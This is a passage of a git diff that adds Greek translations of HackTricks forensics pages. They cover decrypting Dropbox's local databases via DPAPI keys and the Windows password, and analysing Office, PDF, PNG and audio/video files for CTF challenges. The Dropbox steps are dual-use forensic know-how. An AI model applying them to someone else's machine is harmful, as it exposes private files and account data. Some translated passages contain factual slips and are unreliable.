* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξαγάγετε αυτά τα δεδομένα ως δυαδικά)
|
||||||
|
* Τα **`SYSTEM`** και **`SECURITY`** hives
|
||||||
|
* Τα **κλειδιά μετατροπής DPAPI**: Τα οποία μπορείτε να βρείτε στον φάκελο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||||
|
* Το **όνομα χρήστη** και **κωδικό πρόσβασης** του χρήστη των Windows
|
||||||
|
|
||||||
|
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (448).png>)
|
||||||
|
|
||||||
|
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **ανακτήσετε τον αρχικό**. Για να ανακτήσετε τον αρχικό, απλά χρησιμοποιήστε αυτό το [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) βάζοντας το κύριο κλειδί ως "passphrase" μέσα στο receipt.
|
||||||
|
|
||||||
|
Το αποτέλεσμα σε hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων τα οποία μπορούν να αποκρυπτογραφηθούν με:
|
||||||
|
```bash
|
||||||
|
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||||
|
```
|
||||||
|
Η βάση δεδομένων **`config.dbx`** περιέχει:
|
||||||
|
|
||||||
|
* **Email**: Το email του χρήστη
|
||||||
|
* **usernamedisplayname**: Το όνομα του χρήστη
|
||||||
|
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος του Dropbox
|
||||||
|
* **Host\_id: Hash** που χρησιμοποιείται για την ταυτοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το web.
|
||||||
|
* **Root\_ns**: Αναγνωριστικό χρήστη
|
||||||
|
|
||||||
|
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός που περιέχει τις περισσότερες χρήσιμες πληροφορίες:
|
||||||
|
|
||||||
|
* **Server\_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
|
||||||
|
* **local\_sjid**: Έκδοση του αρχείου
|
||||||
|
* **local\_mtime**: Ημερομηνία τροποποίησης
|
||||||
|
* **local\_ctime**: Ημερομηνία δημιουργίας
|
||||||
|
|
||||||
|
Άλλοι πίνακες μέσα σε αυτήν τη βάση δεδομένων περιέχουν περισσότερες ενδιαφέρουσες πληροφορίες:
|
||||||
|
|
||||||
|
* **block\_cache**: hash όλων των αρχείων και φακέλων του Dropbox
|
||||||
|
* **block\_ref**: Σχετίζει το αναγνωριστικό hash του πίνακα `block_cache` με το αναγνωριστικό αρχείου στον πίνακα `file_journal`
|
||||||
|
* **mount\_table**: Κοινόχρηστοι φάκελοι του Dropbox
|
||||||
|
* **deleted\_fields**: Διαγραμμένα αρχεία του Dropbox
|
||||||
|
* **date\_added**
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,58 @@
|
||||||
|
# Ανάλυση αρχείων γραφείου
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
Για περαιτέρω πληροφορίες ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς ένα σύνοψη:
|
||||||
|
|
||||||
|
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι τα **μορφότυπα OLE** (όπως RTF, DOC, XLS, PPT) και τα **μορφότυπα Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτά τα μορφότυπα μπορούν να περιλαμβάνουν μακρότυπα, καθιστώντας τα στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή του αρχείου και του φακέλου και τα περιεχόμενα του αρχείου XML.
|
||||||
|
|
||||||
|
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την κρυψοκάλυψη δεδομένων σε αυτά τα αρχεία, υποδεικνύοντας συνεχή καινοτομία στην κρυψοκάλυψη δεδομένων στις προκλήσεις CTF.
|
||||||
|
|
||||||
|
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν πλήρεις συλλογές εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, κατά κανόνα λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακροεντολών VBA μπορεί να πραγματοποιηθεί χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και μεταβλητές παρακολούθησης.
|
||||||
|
|
||||||
|
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από εγγράφα. Η αυτόματη εκτέλεση μακροεντολών ενεργοποιείται από λειτουργίες όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
|
||||||
|
```bash
|
||||||
|
sudo pip3 install -U oletools
|
||||||
|
olevba -c /path/to/document #Extract macros
|
||||||
|
```
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
# Ανάλυση αρχείου PDF
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
|
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, κάτι που την καθιστά εστίαση για προκλήσεις ψηφιακής ανάλυσης στον τομέα των CTF. Συνδυάζει στοιχεία κειμένου με δυαδικά αντικείμενα, τα οποία ενδέχεται να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως η JavaScript ή το Flash. Για να κατανοήσετε τη δομή των PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
|
||||||
|
|
||||||
|
Για εμβάθυνση ή επεξεργασία PDF, υπάρχουν διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι κρυμμένα σε:
|
||||||
|
|
||||||
|
* Αόρατα επίπεδα
|
||||||
|
* Μορφή μεταδεδομένων XMP από την Adobe
|
||||||
|
* Επιμέρους γενιές
|
||||||
|
* Κείμενο με τον ίδιο χρωματισμό με το φόντο
|
||||||
|
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
|
||||||
|
* Σχόλια που δεν εμφανίζονται
|
||||||
|
|
||||||
|
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, το δυναμικό των PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλο που πηγές όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα ασφαλείας στα PDF, αν και πλέον δεν φιλοξενείται στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση επί του θέματος.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,33 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
Τα **αρχεία PNG** θεωρούνται υψηλής ποιότητας στις προκλήσεις **CTF** λόγω της **απώλειας συμπίεσης**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση αρχείων PNG αποδιαιρώνοντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες.
|
||||||
|
|
||||||
|
Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την επιδιόρθωση τυχόν καταστροφής, το **pngcheck** είναι ένα κρίσιμο εργαλείο που προσφέρει λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία υπερβαίνουν τις απλές επιδιορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για την επιδιόρθωση κατεστραμμένων αρχείων PNG, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF.
|
||||||
|
|
||||||
|
Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTF, χρησιμοποιώντας μια συνδυασμένη προσέγγιση αναλυτικών εργαλείων και τεχνικών επιδιόρθωσης για την ανακάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,39 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Η επεξεργασία αρχείων ήχου και βίντεο** είναι ένα απαραίτητο εργαλείο στις προκλήσεις **CTF forensics**, εκμεταλλευόμενη την **στεγανογραφία** και την ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση των μεταδεδομένων των αρχείων και την αναγνώριση των τύπων περιεχομένου.
|
||||||
|
|
||||||
|
Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα πρωτοποριακό εργαλείο για την προβολή των κυμάτων και την ανάλυση των σπεκτρογραμμάτων, απαραίτητα για την ανακάλυψη κειμένου που έχει κωδικοποιηθεί στον ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση σπεκτρογραμμάτων. Το **Audacity** επιτρέπει την επεξεργασία ήχου, όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα πρόγραμμα γραμμής εντολών, εξαιρετικά καλό στη μετατροπή και επεξεργασία αρχείων ήχου.
|
||||||
|
|
||||||
|
Η μεταβολή των **Least Significant Bits (LSB)** είναι μια συνηθισμένη τεχνική στη στεγανογραφία ήχου και βίντεο, εκμεταλλευόμενη τα κομμάτια μέσων σταθερού μεγέθους για να ενσωματώσει δεδομένα διακριτά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που έχουν κρυφτεί ως **DTMF τόνοι** ή **κώδικας Morse**.
|
||||||
|
|
||||||
|
Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές δοχείων που συνδέουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το κατάλληλο εργαλείο για την ανάλυση και την επεξεργασία αυτών των μορφών, ικανό να αποσυνδέσει και να αναπαράγει περιεχόμενο. Για τους προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg στην Python για προηγμένες επιδράσεις με σενάρια.
|
||||||
|
|
||||||
|
Αυτή η σειρά εργαλείων υπογραμμίζει την απαραίτητη ευελιξία στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και επεξεργασίας για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο.
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
